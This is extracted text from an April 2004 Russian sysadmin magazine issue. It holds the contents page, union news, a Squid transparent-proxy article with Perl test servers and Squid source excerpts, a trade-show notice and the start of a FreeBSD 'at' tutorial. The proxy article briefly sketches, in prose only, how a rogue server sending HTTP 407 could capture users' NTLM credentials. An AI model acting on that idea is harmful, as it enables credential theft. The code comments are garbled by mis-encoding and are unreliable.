№4(17) апрель 2004 подписной индекс 81655
Transparent proxy. Быть или не быть? Работа по расписанию во FreeBSD Свободные утилиты forensic NTP – атомные часы на каждом столе Создание кластера на базе Windows 2000/2003 Watchdog Блочные шифры
№4(17) апрель 2004
Оптимизация сортировки в Perl Автоматизация веб-проектов через электронную почту
cover4(17)-vnut.p65
1
01.04.2004, 14:52
оглавление НОВОСТИ ПРОФСОЮЗА Профсоюз IT-специалистов – первые шаги
Свободные утилиты forensic
2
Обзор утилит, предназначенных для поиска доказательств взлома, а также применяемых для сохранения случайно или умышленно стертых данных. Сергей Яремчук grinder@ua.fm
АДМИНИСТРИРОВАНИЕ
50
Transparent proxy. Быть или не быть?
Блочные шифры
Статья посвящена проблемам прозрачного проксирования на примере популярного сервера Squid.
Перспективы направления развития современной криптографии. Блок-схема и программная реализация симметричного алгоритма шифрования TEA.
Дмитрий Репин cmapuk@comprice.ru
4
Станислав Гошко bigafroelephant@mail.ru
64
Работа по расписанию во FreeBSD Сергей Супрунов amsand@rambler.ru
ПРОГРАММИРОВАНИЕ 10
NTP – атомные часы на каждом столе Работа с протоколом NTP (Network Time Protoсol), предназначенным для синхронизации времени в сети. Михаил Платов platov@cs.vsu.ru
16
Алексей Мичурин alexey@office-a.mtu-net.ru
70
WEB Автоматизация веб-проектов через электронную почту
Создание кластера на базе Windows 2000/2003. Шаг за шагом Руководство по созданию двухузлового кластера серверов с разделяемым хранилищем данных. Геннадий Дмитриев stranger03@mail.ru
Оптимизация сортировки в Perl
Игорь Тетерин keks_revda@uraltc.ru
76
22 ОБРАЗОВАНИЕ В чем слабость твоя? Альтернативы парольной защите.
БЕЗОПАСНОСТЬ
Максим Костышин Maxim_kostyshin@mail.ru
Ошибки переполнения буфера извне и изнутри как обобщенный опыт реальных атак Часть 2 Крис Касперски kk@sendmail.ru
HARDWARE 30 Сторожевой пес Тестирование устройства Watchdog, предназначенного для мониторинга и восстановления работоспособности серверов после сбоя через принудительный перезапуск.
Межсетевые экраны D-Link Михаил Гришунин master@tayle.com
№4(17), апрель 2004
82
48
Андрей Бешков tigrisha@sysadmins.ru
88 1
новости профсоюза
ПРОФСОЮЗ IT-СПЕЦИАЛИСТОВ ПЕРВЫЕ ШАГИ Организованный в декабре 2003 года профсоюз IT-специалистов, который объединил системных и сетевых администраторов, IT-менеджеров, всех, кто работает в сфере информационных технологий, в данный момент активно развивается. Что такое профсоюз? Зачем он нужен? Что мы от него получим? Эти и другие вопросы очень часто поднимались на страницах различных печатных изданий, обсуждались в личной переписке и разговорах на форуме: http:// www.sysadmins.ru. Представитель Московской ППО Алексей Костромин так рассказал о задачах, которые ставит перед собой профсоюз: У работников IT-индустрии много проблем (о них много раз писали на форуме: http://www.sysadmins.ru), решить их все сразу невозможно. Мы выделили наиболее актуальные направления деятельности профсоюза на ближайшие два года: ! Поднять социальный статус IT-профессий в широком смысле этого слова. ! Организовать собственный учебный центр с целью совершенствования квалификации членов профсоюза. ! Активно помогать в трудоустройстве, ориентации по карьере и переквалификации при необходимости. ! Оказывать максимально возможную юридическую поддержку IT-специалистам. ! Принимать активное участие в государственных социальных программах с целью получения льгот для представителей IT-профессий. ! Работать над программой социального страхования работников IT. Сейчас уже заключены первые договора: с Межрегиональным Союзом Страховщиков – по программе социального страхования членов профсоюза; с юридической компанией «ИТЛА» – по программе юридической поддержки членов профсоюза, регистрируются первичные профсоюзные организации (ППО). Ведется работа по всем направлениям. Центральным аппаратом профсоюза (http://www.itcu.ru) успешно проводится работа по привлечению крупных компаний к сотрудничеству по реализации профсоюзных программ. Совместно с рядом учебных центров и ВУЗов под-
2
готовлена программа повышения квалификации членов профсоюза. Юристы профсоюза уже не раз помогали нашим коллегам урегулировать различные спорные вопросы. Была проведена госрегистрация профсоюза (не обошлось без некоторых казусов и недоразумений). Сейчас отлаживается работа управленческого аппарата профсоюза, планируется инвестирование профсоюзных программ. Несколько слов о работе первичных профсоюзных организаций: Московская ППО (http://msk.itcu.ru) работает над созданием портала www.sysjob.ru. Этот проект предназначен для поиска работы IT-специалистами, профессиональных консультаций по вопросам Трудового законодательства, социальной защиты и т. п. Уже есть договоренности с несколькими кадровыми агентствами города. Портал начнет свою работу в июле 2004 года. ППО Санкт-Петербурга (http://spb.itcu.ru) ведёт работу с Санкт-Петербургским Государственным Политехническим Университетом, готовит проведение первых учебных семинаров в Петербурге, ведёт работу с Петербургскими кадровыми агентствами в рамках развития программы трудоустройства членов профсоюза. Готовятся к регистрации ППО в Саратове, Сыктывкаре, Оренбурге. ППО может быть организована в любом городе. Количество первичек в городе или регионе не ограничено. При увеличении количества небольших ППО в городе Правление может предложить им объединиться, создав территориальную (региональную) первичную организацию. ППО регистрируется в качестве юридического лица после рассмотрения ее документов Правлением профсоюза (с перечнем документов можно ознакомиться на сайте: http://www.itcu.ru). Достаточно иметь трех человек в одном городе, и вы уже имеете право создать ППО, которая может заниматься своими проектами, не противоречащими целям Профсоюза в целом. Вы сможете заключать договора с компаниями в вашем регионе для наилучшей реализации программ профсоюза. Чтобы стать участником профсоюзного движения, достаточно ознакомиться с материалами: http://www.itcu.ru, заполнить форму заявления и отправить ее по адресу: reg@itcu.ru. Далее с вами свяжутся.
администрирование
TRANSPARENT PROXY. БЫТЬ ИЛИ НЕ БЫТЬ?
ДМИТРИЙ РЕПИН Весь текст этой статьи является исключительно личным мнением автора и не претендует на сборник аксиом. Все описанные в статье исследования и выводы также следует рассматривать через призму субьективности автора, ибо, как говорили древние мудрецы, «Errare humanum est». Также автор не несёт ответственности за любые действия (и их последствия), произведённые читателем после прочтения этой статьи.
Лирическое отступление Работа системного администратора неразрывно связана с программированием. Только наличие знаний в области разработки программ может помочь при решении проблем с программным обеспечением, ибо анализ является частью решения. Специалист обязан чётко представлять себе внутренние механизмы работы системы, а это приходит только с опытом в написании и, что более важно, модификации ПО. Системы семейства UNIX-подобных являются величайшим источником знаний для самообразования и полигоном для экспериментов. Открытость исходного кода системы и прикладного ПО, низкоуровневый доступ к настройкам и их гибкость... – всё это позволяет глубже вникнуть в принципы работы компьютерных систем и сетей. Кроме того, это позволяет создавать всевозможные нестандартные конфигурации привычного программного обеспечения. Для чего это нужно? В первую очередь для того, чтобы расширить возможности системы. Вторым аргументом в пользу подобных «хирургических вмеша-
4
тельств» в ПО является наличие различных ошибок при разработке программного обеспечения. Данная статья посвящена проблемам прозрачного проксирования на примере популярного сервера Squid. В качестве ОС использовалась стабильная версия FreeBSD 4.7.
Общие принципы прозрачного проксирования При работе прокси-сервера в прозрачном режиме (Transparent mode) для веб-доступа пользователей в Интернет не требуется настраивать браузер для взаимодействия с прокси на каждом рабочем месте, а сами пользователи могут вообще не знать о существовании прокси-сервера. В таком режиме администраторы и техники получают меньше вопросов и жалоб от пользователей по настройке пользовательского ПО. Технически этот режим реализуется следующим образом. С помощью firewall все соединения на определённый порт (в случае HTTP – порт 80) внешних серверов перенаправляются на локальный порт прокси-сервера (обычно – 3128). По стандарту протокола HTTP 1.1 (RFC2616) каждый запрос клиента должен содержать заголовок «Host», в котором указывается адрес сервера-получателя запроса. Именно с помощью этого заголовка прокси-сервер определяет адресата и соединяется с ним. Что же касается других популярных протоколов (FTP, HTTPS, и т. д.), то такой возможности в них просто не предусмотрено. На этой «весёлой ноте» можно начать описание проблем.
администрирование Авторизация Авторизация на прокси-сервере позволяет производить учёт работы и разграничение доступа в Интернет пользователей локальной сети, используя их имена (логины) независимо от того, за каким компьютером находится пользователь и какой адрес имеет данный компьютер. В противном случае администратор имеет возможность контролировать работу сотрудников только на основе IP-адресов, что позволяет пользователям обходить ограничения. Таким образом, авторизация на прокси-сервере является необходимым элементом инфраструктуры локальной сети. А теперь о грустном: авторизация на «прозрачном» прокси-сервере практически невозможна. Однако подобное утверждение явно противоречит стандартам. Обратимся к первоисточнику – описанию протокола HTTP – документу RFC2616. По стандарту, HTTP-клиент при получении статуса-ответа сервера с кодом 407 (Proxy Authentication Required) обязан отправить данные авторизации серверу. Для иллюстрации работы и для тестов автором был написан небольшой http-сервер на языке Perl, который выдавал нужные статусы и заголовки, а также писал лог запросов и ответов. В результате работы сервера получение данных клиентом будет происходить в 4 этапа: 1. Клиент запрашивает документ, а сервер сообщает о необходимости Proxy-авторизации. 2. Клиент снова запрашивает документ, но уже с данными авторизации на прокси. 3. Для проверки работоспособности системы сервер просит авторизоваться ещё и для Web – модель ситуации, когда пользователь обращается к защищённому документу на удалённом сервере через прокси с авторизацией. 4. Клиент послушно авторизуется «вдвойне» – на проксисервере и веб-сервере. В качестве тестовых клиентов использовались браузеры Mozilla FireBird 0.6.1, Microsoft Internet Explorer 6.0.2800.1106 и Opera 6.05. Код тестового сервера: #!/usr/bin/perl -w use strict; use Socket; # Ñîçäà¸òñÿ ñîêåò, ïðèâÿçûâàåòñÿ êî âñåì àäðåñàì (äëÿ óäîáñòâà) # íà ïîðò 8080 è âêëþ÷àåòñÿ ïðîñëóøèâàíèå. socket(SERVER,PF_INET,SOCK_STREAM,getprotobyname('tcp')); setsockopt(SERVER,SOL_SOCKET,SO_REUSEADDR,1); bind(SERVER,sockaddr_in(8080,INADDR_ANY)); listen(SERVER,SOMAXCONN); $|=1; my $CR="\015\012"; # Ïðè¸ì âõîäÿùèõ ñîåäèíåíèé while (1){ # Ïðè¸ì êëèåíòà, îïðåäåëåíèå åãî àäðåñ/ïîðò/õîñò # è âûâîä íà ýêðàí (äëÿ îòëàäêè) my $paddr = accept(CLIENT,SERVER); my ($ip,$port,$name) = remote($paddr); print "Connection from $ip:$port ($name)\n"; # ×òåíèå âñåãî çàïðîñà îò êëèåíòà â îäíó ïåðåìåííóþ my $DATA; while(<CLIENT>){ chomp; $_=~s/\r//g;
№4(17), апрель 2004
}
last unless $_; $DATA.=$_."\n";
# Çàïèñü çàïðîñà â ëîã-ôàéë Log($DATA);
}
# Òåïåðü ïðîñòàÿ ïðîâåðêà íà íàëè÷èå â çàïðîñå íóæíûõ # çàãîëîâêîâ, îòïðàâêà ñîîòâåòñòâóþùåãî îòâåòà êëèåíòó # è çàïèñü îòâåòîâ â ëîã-ôàéë. if($DATA !~/Proxy\-Authorization/){ Log(Response407()); print CLIENT Response407(); }elsif($DATA !~/\012Authorization/){ Log(Response401()); print CLIENT Response401(); }else{ Log(Response200()); print CLIENT Response200(); } print "Connection closed.\n"; close CLIENT; # Çàêðûòèå òåêóùåãî ñîåäèíåíèÿ
# Çàêðûòèå ñîêåòà ñåðâåðà close SERVER; # Ñîñòàâëåíèå îòâåòîâ ñåðâåðà äëÿ óäîáñòâà âûíåñåíî # â îòäåëüíûå ôóíêöèè sub Response401{ return "HTTP/1.1 401 Unauthorized$CR". "Server: squid/2.5.STABLE3$CR". "Mime-Version: 1.0$CR". "Content-Type: text/html$CR". "Content-Length: 20$CR". "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR". "WWW-Authenticate: Basic realm=\" --== Protected ↵ web-Area ==--\"$CR". "Connection: close$CR$CR <h1>401 Unauth</h1>"; } sub Response407{ return "HTTP/1.1 407 Proxy Authentication Required$CR". "Server: squid/2.5.STABLE3$CR". "Mime-Version: 1.0$CR". "Content-Type: text/html$CR". "Content-Length: 20$CR". "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR". "Proxy-Authenticate: NTLM$CR". "Proxy-Authenticate: Basic realm=\" ↵ <-- 407 Protected Proxy-->\"$CR". "Connection: close$CR$CR <h1>407 Unauth</h1>"; } sub Response200{ return "HTTP/1.1 200 OK$CR". "Server: squid/2.5.STABLE3$CR". "Mime-Version: 1.0$CR". "Content-Type: text/html$CR". "Content-Length: 19$CR". "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR". "Connection: close$CR$CR <h1>200 OK!!!</h1>"; } # Ôóíêöèÿ îïðåäåëåíèÿ àäðåñà, ïîðòà è èìåíè õîñòà êëèåíòà sub remote{ my $rem = shift; return undef unless $rem; my ($port,$ip) = sockaddr_in($rem); return (inet_ntoa($ip),$port,gethostbyaddr($ip,AF_INET)); } # Ôóíêöèÿ äëÿ çàïèñè â ôàéë ïðîòîêîëà sub Log{ open(F,">>connection.log"); print F scalar(localtime)."\n"; for(split/\n/,$_[0]){ print F "\t$_\n"; } print F "\n//====//\n\n"; close(F); }
Первый запрос браузера:
5
администрирование Участок исходного кода client_side.c:
Сервер отвечает:
Теперь клиент авторизуется:
Для проверки последующей авторизации на удалённом веб-сервере прокси-сервер просит авторизоваться:
Клиент отвечает правильно – с авторизацией и на прокси- и на веб-сервере:
Сервер сообщает, что всё в порядке:
Данный протокол на примере Mozilla FireBird 0.6.1 иллюстрирует вполне «законную» возможность использования авторизации на прозрачном прокси-сервере. Возникает резонный вопрос: почему в FAQ сервера Squid наличествует фраза «...proxy_auth can’t be used in a transparent proxy...»? Для начала обратимся к исходным кодам Squid. Связь между авторизацией и режимом работы сервера прослеживается в двух файлах – acl.c и client_side.c. При анализе кода становится ясно, что возможность использования авторизации в данном случае просто игнорируется! Участок исходного кода acl.c: http_hdr_type headertype; if (NULL == r) { return -1; } else if (!r->flags.accelerated) { /* Proxy authorization on proxy requests */ headertype = HDR_PROXY_AUTHORIZATION; } else if (r->flags.internal) { /* WWW authorization on accelerated internal requests */ headertype = HDR_AUTHORIZATION; } else { #if AUTH_ON_ACCELERATION /* WWW authorization on accelerated requests */ headertype = HDR_AUTHORIZATION; #else debug(28, 1) ("aclAuthenticated: authentication not ↵ applicable on accelerated requests.\n"); return -1; #endif
6
if (answer == ACCESS_REQ_PROXY_AUTH || ↵ aclIsProxyAuth(AclMatchedName)) { if (!http->flags.accel) { /* Proxy authorisation needed */ status = HTTP_PROXY_AUTHENTICATION_REQUIRED; } else { /* WWW authorisation needed */ status = HTTP_UNAUTHORIZED; } if (page_id == ERR_NONE) page_id = ERR_CACHE_ACCESS_DENIED; } else { status = HTTP_FORBIDDEN; if (page_id == ERR_NONE) page_id = ERR_ACCESS_DENIED; }
Подобная странность, обнаруженная в ходе исследования, ещё больше разогрела интерес автора к обсуждаемому вопросу. В связи с этим, естественно, исходный код сервера претерпел изменения. Результатом явилась модифицированная версия сервера Squid с совместной работой авторизации и прозрачного режима. Но... В ходе дальнейшего исследования выяснилось, что популярнейший браузер Microsoft Internet Explorer неспособен следовать стандартам! Если в настройках этого клиента явно не указано использование прокси-сервера, то MSIE просто игнорирует обработку http-статуса 407 и выдаёт ошибку. Мало того, старые версии под Windows 9X вообще «сыпятся» с критической ошибкой в библиотеке WININET.DLL при получении вышеописанного статус-кода. В связи с этим становится ясно, что использование авторизации при прозрачном проксировании невозможно. Ведь подавляющее большинство пользователей работают именно с Microsoft Internet Explorer. Если в вашей сети используются браузеры только на основе Mozilla, вы можете модифицировать ваш сервер Squid-2.5.STABLE3 с помощью патчей, которые находятся по адресу http:// www.comprice.ru/cmapuk/squid_patch.tgz В дополнение к вышесказанному стоит добавить, что все нынешние браузеры, так или иначе, не полностью соблюдают стандарты. Например, HTTP-статус 305 (Use Proxy), сообщающий клиенту о необходимости использовать указанный в ответе прокси-сервер, игнорируется как браузером Microsoft Internet Explorer, так и Mozilla FireBird и Opera. Кроме того, браузер Opera (проверено на версии 6.05) не поддерживает NTLM-авторизацию, хотя статускод 407 обрабатывает правильно и легко авторизуется по типу Basic. Итак, в действительном существовании проблемы и практической невозможности её решения теперь сомнений нет. Однако остаётся неизвестной «политическая» подоплёка несоблюдения стандартов. После некоторых размышлений на эту тему автор статьи вывел гипотезу о причине «нестандартности» MSIE как HTTP-клиента. Если абсолютно стандартный браузер при получении ответа сервера с кодом 407 отправляет данные для авторизации, то эта информация может быть получена любым третьим лицом. На примере это выглядит следующим образом. Пользователь-злоумышленник настраивает вебсервер (внешний, либо в локальной сети) на ответ выше-
администрирование означенным кодом при любых запросах (это может быть элементарный «самописный» сервер в 10-15 строк). После этого путём простейших приёмов социальной инженерии пользователь-жертва заманивается в ловушку с целью получить всего лишь один HTTP-сеанс между жертвой и сервером злоумышленника. В результате «хакер» получает данные авторизации пользователя (например, данные NTLM-авторизации), что может повлечь за собой несанкционированный доступ к информации со всеми вытекающими последствиями. Принимая во внимание эту гипотезу, можно сделать вывод, что игнорирование таких нужных и в то же время опасных стандартных возможностей имеет под собой довольно веские основания.
Множество протоколов Как правило, в задачу прокси-сервера входит обслуживание клиентов не только по протоколу HTTP, но и FTP и HTTPS. Кроме того, часто возникает необходимость HTTPсоединения по альтернативным портам (8000, 8080, и т. п.). С этим связана вторая и, пожалуй, самая сложная проблема прозрачного проксирования – прокси-сервер Squid в режиме прозрачности может обслуживать соединения только по одному протоколу – HTTP. В связи с тем, что решение данной проблемы является отнюдь не тривиальным, эта часть статьи будет посвящена рассмотрению причин данной проблемы и только теоретических способов её решения.
Альтернативные HTTP-порты Как уже было сказано в начале статьи, спецификация протокола HTTP 1.1 предписывает клиенту включать в запрос обязательный заголовок «Host». Этот заголовок содержит имя сервера, которому адресован запрос. Таким образом, для получения данных по адресу http:// www.server.info при прямом соединении минимальным HTTP-запросом будет следующий: GET / HTTP/1.1 Host: www.server.info
Если клиентское ПО адаптировано для работы через прокси-сервер и настроено соответственно, то запрос будет выглядеть так: GET http://www.server.info HTTP/1.1 Host: www.server.info
В случае если удалённый сервер обслуживает клиентов по альтернативному порту, запрос через прокси будет содержать информацию и об этом: GET http://www.server.info:8080 HTTP/1.1 Host: www.server.info
При прямом соединении с удалённым сервером запрос клиента не меняется в зависимости от порта и остаётся таким же, как в первом примере. В результате при работе в прозрачном режиме прокси-сервер не может определить реальный порт удалённого сервера, к которому обратился клиент, так как клиент вообще не подозревает о существовании «посредника».
№4(17), апрель 2004
Современные версии прокси-сервера Squid поддерживают возможность определения хоста и порта с помощью библиотек пакетных фильтров, таких как ipfilter в BSD-системах или netfilter в Linux. Для работы с этими библиотеками при компиляции сервера необходимо указать соответствующие опции (--enable-ipf-transparent). После сборки сервера, ему будет доступна подробная информация о соединении. Участок кода client_side.c: #if IPF_TRANSPARENT natLookup.nl_inport = http->conn->me.sin_port; natLookup.nl_outport = http->conn->peer.sin_port; natLookup.nl_inip = http->conn->me.sin_addr; natLookup.nl_outip = http->conn->peer.sin_addr;
Как может показаться, при таком подходе встаёт необходимость использовать на firewall фильтрацию на основе ipfilter/ipnat и отказаться от ipfw. Однако для работы Squid достаточно просто включить поддержку данного пакетного фильтра, а перенаправлять пакеты можно по-прежнему с помощью ipfw.
Проксирование FTP и HTTPS При обычном проксировании запросы клиента прокси-серверу на получение файла с удалённого сервера по протоколу FTP выглядят так же, как и HTTP-запросы: GET ftp://ftp.server.info HTTP/1.1 Host: ftp.server.info
Клиентом, реализующим этот протокол FTP, в данном случае является сам прокси-сервер. Получив файл, прокси-сервер отвечает клиенту обычным HTTP-ответом и возвращает данные. Также клиент может «потребовать» от прокси-сервера прямого соединения с удалённым хостом для обмена данными. Тогда запрос будет выглядеть так: CONNECT ftp.server.info:21 HTTP/1.1 Host: ftp.server.info
Благодаря такому виду запросов посредник чётко понимает поставленную перед ним задачу и выполняет её в соответствии с рекомендациями системного администратора в виде директив acl и http_access в конфигурационном файле. Общение клиента с удалённым сервером по SSL-защищённым протоколам всегда происходит по методу CONNECT: CONNECT secure.server.info:443 HTTP/1.1 Host: secure.server.info
При прямом соединении клиента с удалённым хостом без посредников (а при прозрачном проксировании клиент «считает» именно так) он сам реализует протоколы прикладного уровня, такие как FTP и HTTP. В результате прокси-сервер не может определить поставленную перед ним задачу. При перенаправлении с помощью firewall всех соединений к портам 21 и 443 на порт прокси (3128) последний получает в первом случае строку «USER username», а во втором вообще набор несвязных символов.
7
администрирование Решение данной проблемы требует «хирургического» вмешательства в исходный код прокси-сервера Squid. Задача модификации сервера состоит в том, чтобы «научить» сервер становиться почти таким же посредником, как при методе CONNECT, в зависимости от номера порта запрашиваемого удалённого сервера. Для демонстрации этой идеи напишем ещё один простейший сервер: #!/usr/bin/perl -w use strict; use Socket; # Ëîêàëüíûé àäðåñ ìèíè-ïðîêñè my $maddr = sockaddr_in(30021,inet_aton('localhost')); # Äîïóñòèì ìû óæå çíàåì àäðåñ óäàë¸ííîãî FTP my $paddr = sockaddr_in(21,inet_aton('ftp.freebsd.org')); # Îòêðûâàåì ñîêåò äëÿ ïðîêñè-ñåðâåðà è íà÷èíàåì ïðîñëóøèâàòü socket(SOCK,PF_INET,SOCK_STREAM,getprotobyname('tcp')) or die $!; setsockopt(SOCK,SOL_SOCKET,SO_REUSEADDR,1) or die $!; bind(SOCK,$maddr) or die $!; listen(SOCK,SOMAXCONN); # Ïåðåõâàòûâàåì ñèãíàë PIPE # Ýòîò ñèãíàë ïîÿâëÿåòñÿ ïðè ïîïûòêå ðàáîòû ñ çàêðûòûì ïîòîêîì $SIG{PIPE}=sub{ close(SERVER); close(CLIENT); close(SOCK); exit; } $|=1; # îòêëþ÷àåì áóôåðèçàöèþ ïîòîêà STDOUT # Ïðèíèìàåì ïîäêëþ÷åíèÿ while (accept(CLIENT,SOCK)){ print "Connection detect.\n"; # Ñîåäèíÿåìñÿ ñ óäàë¸ííûì FTP socket(SERVER,PF_INET,SOCK_STREAM, ↵ getprotobyname('tcp')) or die $!; connect(SERVER,$paddr); # Íà÷èíàåì îáìåí èíôîðìàöèåé while(1){ my $server=''; # Îòêëþ÷àåì áóôåðèçàöèþ ïîòîêîâ êëèåíòà # è ñåðâåðà select(CLIENT); $|=1; select(SERVER); $|=1; select(STDOUT); # Ïîêà ñåðâåð íå çàâåðøèë ïåðåäà÷ó # èäåíòèôèêàòîðîì ñòàòóñà ïðèíèìàåì âñå # äàííûå, îòäà¸ì êëèåíòó, à çàîäíî âûâîäèì # íà ýêðàí while($server !~/^\d{3}\s/){ $server=<SERVER>; print CLIENT $server; print $server; } # Ïðèíèìàåì êîìàíäó îò êëèåíòà è ïåðåäà¸ì # ñåðâåðó. Òàêæå âûâîäèì íà ýêðàí my $client=<CLIENT>; print SERVER $client; print $client; } close SERVER; close CLIENT;
} close SOCK;
Добавляем в firewall правило перенаправления всех запросов к 21-му порту на локальный порт 30021 и запускаем тестовый сервер. ipfw add 30002 fwd 127.0.0.1,30021 tcp from 192.168.0.0/24 ↵ to any 21 via xl0
8
Теперь открываем браузер и пробуем зайти на ftp:// ftp.freebsd.org/ (естественно, без прокси-настроек). Результат простейшего теста показывает, что прозрачное проксирование по протоколам, отличным от HTTP, вполне возможно. Теперь поставим уже конкретную задачу по модификации прокси-сервера Squid. 1. Добавить в возможности конфигурирования сервера новую директиву (назовём её direct_port) следующего формата: direct_port PORT PROTOCOL
где PORT – конечный порт удалённого сервера; PROTOCOL – протокол, по которому прокси-серверу следует выступать посредником. Пример: direct_port 21 FTP, direct_port 443 SSL
2. Добавить к уже имеющейся «услуге» посредничества при методе CONNECT её модифицированную версию, в которой исключены вмешательства прокси-сервера в общение клиента и удалённого сервера лишними заголовками. 3. Установить контроль над новым типом соединения с помощью директив ACL. Решение этой задачи для исследователя, никогда не участвовавшего в разработке прокси-сервера Squid, является весьма трудоёмким процессом. Посему у автора данной статьи на данный момент нет готового решения в виде патчей и т. п. Однако, возможно, это исследование привлечёт внимание энтузиастов (или самих разработчиков Squid) к вышеописанной проблеме и решение появится.
Вывод Исследование показало, что настоящее прозрачное проксирование без ущерба для пользователей и администраторов – это реальность. Единственной серьёзной проблемой на пути к внедрению технологии прозрачного проксирования остаётся несоответствие стандартам браузера Microsoft Internet Explorer. Вполне возможно, что в будущем этот недостаток у MSIE исчезнет, если обратить внимание специалистов из Microsoft на данную проблему. В настоящий момент, а точнее, после того, как прокси-сервер Squid будет модифицирован, любая организация, в чьи корпоративные стандарты не входит использование браузера MSIE, смогут полноценно пользоваться прозрачным проксированием. Ещё одна проблема, оставшаяся в тени, заключается в том, что прокси-сервер может определить адрес удалённого сервера, но не его имя. В связи с этим может возникнуть проблема с доступом по FTP и HTTPS на сервера с виртуальными доменами, которые часто используются на бесплатных хостингах (и не только). В заключение хотелось бы сказать хоть одну фразу от первого лица. Я надеюсь, что проделанная работа не оставит равнодушной общественность свободных разработчиков к несовершенствам прикладного программного обеспечения и подтолкнёт любителей и профессионалов к новым исследованиям.
УНИКАЛЬНЫЕ СОБЫТИЯ НА КОМПЬЮТЕРНОМ РЫНКЕ Впервые организованная в 1989 году, выставка Неделя Информационных Технологий «IT Week Russia», известная в прошлом как Comtek, за пятнадцать лет своего существования пережила и взлеты и падения. В предыдущие годы в Неделю Информационных Технологий входила выставка Сomtek, которая состояла из нескольких направлений, и конференция E-Business. Развитие выставки в течение последних лет привело к необходимости выделить отдельные разделы в самостоятельные выставки. С этого года в Неделю Информационных Технологий будут входить пять самостоятельных выставок и две конференции. Этот шаг позволил расширить масштаб выставки, объединяющей все аспекты компьютерного бизнеса, что, в свою очередь, дает возможность привлечь к участию в выставке большее число компаний, занятых во всех сферах индустрии информационных технологий. Давид Патеишвили, директор выставки, сказал: «В этом году мы расширили темы, представленные на экспозиции, которые теперь охватывают все области компьютерной индустрии. Это дает превосходную возможность и участникам, и посетителям выставки принять участие и ознакомиться сразу с пятью выставками и двумя конференциями, проходящими в одно время и в одном месте. Это также позволит нам улучшить маркетинговую и рекламную кампании для каждой из выставок и конференций, проходящих в рамках Недели Информационных Технологий, с учетом целевой аудитории, специфичной для каждой из них. Хочется добавить, что некоторые выставки, которые будут проходить в рамках Недели Информационных технологий, не имеют аналогов в России, являясь тем самым уникальными». В рамках Недели Информационных Технологий пройдут следующие выставки и конференции: 1. Personal Computing Expo – общая, неспециализированная выставка, ориентированная на конечных пользователей. В ней представлены производители и дистрибьюторы персональных компьютеров и периферии, компьютерных игр, дистрибьюторы сотовой техники и портативных компьютеров, интернет- и контентпровайдеры и многие другие. 2. Hardware & Peripherals Expo – специализированная выставка, на которой представлены: компьютеры, мониторы, периферийные устройства, комплектующие, накопители, коммуникационное оборудование и услуги, т.е. весь спектр hardware, ориентированного на ведение бизнеса. 3. Международная конференция eLearning Russia (Информационные технологии в образовании), на которой будут освещены последние достижения образовательных технологий в школах, вузах, а также рассмотрены вопросы дистанционного и бизнес-образования.
№4(17), апрель 2004
4. Software Expo – специализированная выставка, ориентированная на программные продукты для систем бухгалтерского и складского учета, комплексного ПО управления предприятием, систем управления документооборотом, систем распознавания документов, разработку ПО, защиту информации. В рамках этой выставки будет подготовлен цикл тематических семинаров, посвященных актуальным вопросам в области разработки экономических программ и систем управления бизнесом. 5. Специализированная выставка CAD/CAM/CAE представляет системы автоматизированного проектирования. Для большинства российских производителей необходимость использования САПР для оптимизации работы предприятия стала очевидной. Особенно ярко это проявляется в таких отраслях, как авиастроение, автомобилестроение, тяжелое машиностроение, архитектура, строительство, нефтегазовая промышленность. 6. eLearn Expo – специализированная выставка, на которой будут демонстрироваться новейшие продукты и технологии в сфере электронного обучения, предназначенные для коллективного и индивидуального пользования. Дистанционное обучение через сети Internet и Intranet, получившее широкое распространение в развитых странах, становится все более актуальным и для России. 7. eBusiness Russia (Электронный бизнес в России) – международная конференция, посвященная вопросам автоматизации бизнес-процессов, развития электронной коммерции, подбора ИТ-персонала. Выставка IT-week остается ведущей международной выставкой информационных технологий в России и странах СНГ. Это уникальное место для проведения переговоров с первыми лицами сразу нескольких крупных фирмпоставщиков оборудования и решений. Практически все крупные западные вендоры присутствуют на выставке непосредственно или при посредстве своих российских партнеров. В соответствии с растущими потребностями рынка и увеличением числа участников экспозиция расширила площадь, которая в этом году составит 8 000 кв. м. В выставках, которые пройдут в течение 4 дней, примут участие 250 ведущих компаний отрасли из 25 стран мира. Ожидается, что число посетителей выставки превысит 75 000 человек, включая руководителей верхнего и среднего звена, технических специалистов и IT-администраторов, из более 500 городов России и СНГ. «IT Week 2004», 15-ая Международная Выставка Информационных Технологий пройдет в «Экспоцентре» на Красной Пресне в Москве с 26 по 29 апреля 2004 года.
9
администрирование
РАБОТА ПО РАСПИСАНИЮ ВО FreeBSD
СЕРГЕЙ СУПРУНОВ 10
администрирование Прежде всего рассмотрим утилиту, которая позволяет однократно выполнить ту или иную команду в заданное время. Это команда at, простейший синтаксис которой выглядит следующим образом: # at time
Здесь time – время, когда задача должна быть выполнена. Перечень команд, составляющих задачу, считывается со стандартного ввода (как правило, это ввод с клавиатуры, завершаемый символом Ctrl-D). Например: # at 11:00pm who last –s –20 df ^D
Этот ввод приведет к тому, что в 23:00 (сегодня, если дело происходит утром, и завтра, если после обеда) последовательно будут выполнены команды who, last и df, и их вывод будет отправлен на электронный адрес пользователя. Команда предоставляет пользователю большую свободу в выборе формата времени:
at.allow. Если файл at.allow в этой директории отсутствует, но есть файл at.deny, то команду at смогут запускать все пользователи, кроме перечисленных в at.deny. Обратите внимание, что имена пользователей в этих файлах должны начинаться строго с первой позиции и обязательно завершаться символом перевода строки даже для последней строчки. Из дополнительных опций команды at перечислим следующие: ! -f file – задает имя файла, содержимое которого будет воспринято как задание. Если опция не указана, задания считываются со стандартного ввода (до символа Ctrl-D). Например: # at –f myjobs +2 minutes
!
Òàáëèöà 1
!
Таким образом, существует возможность задать время как относительно момента подачи команды at, так и абсолютно. В последнем случае оно может быть дополнено указанием конкретной даты, форматы записи которой не менее разнообразны. Так, дата «12 февраля 2005 года» может быть записана одним из следующих способов: 12.02.2005, 12.02.05, 12/02/2005, 12/02/05, Feb 12 2005… Также вместо конкретной даты можно использовать ключевое слово tomorrow, указывающее, что задание должно быть исполнено в указанное время завтра. При необходимости указать, что задание должно быть выполнено именно сегодня, можно использовать дополнение today. Естественно, при попытке задать уже прошедшее время вы получите соответствующее сообщение об ошибке. Кроме того, время может быть задано в формате POSIX, для чего следует использовать ключ –t: # at –t [[CC]YY]MMDDhhmm[.SS] // êîìàíäà âûïîëíèòñÿ 1 äåêàáðÿ ýòîãî ãîäà â 15:30 # at –t 12011530
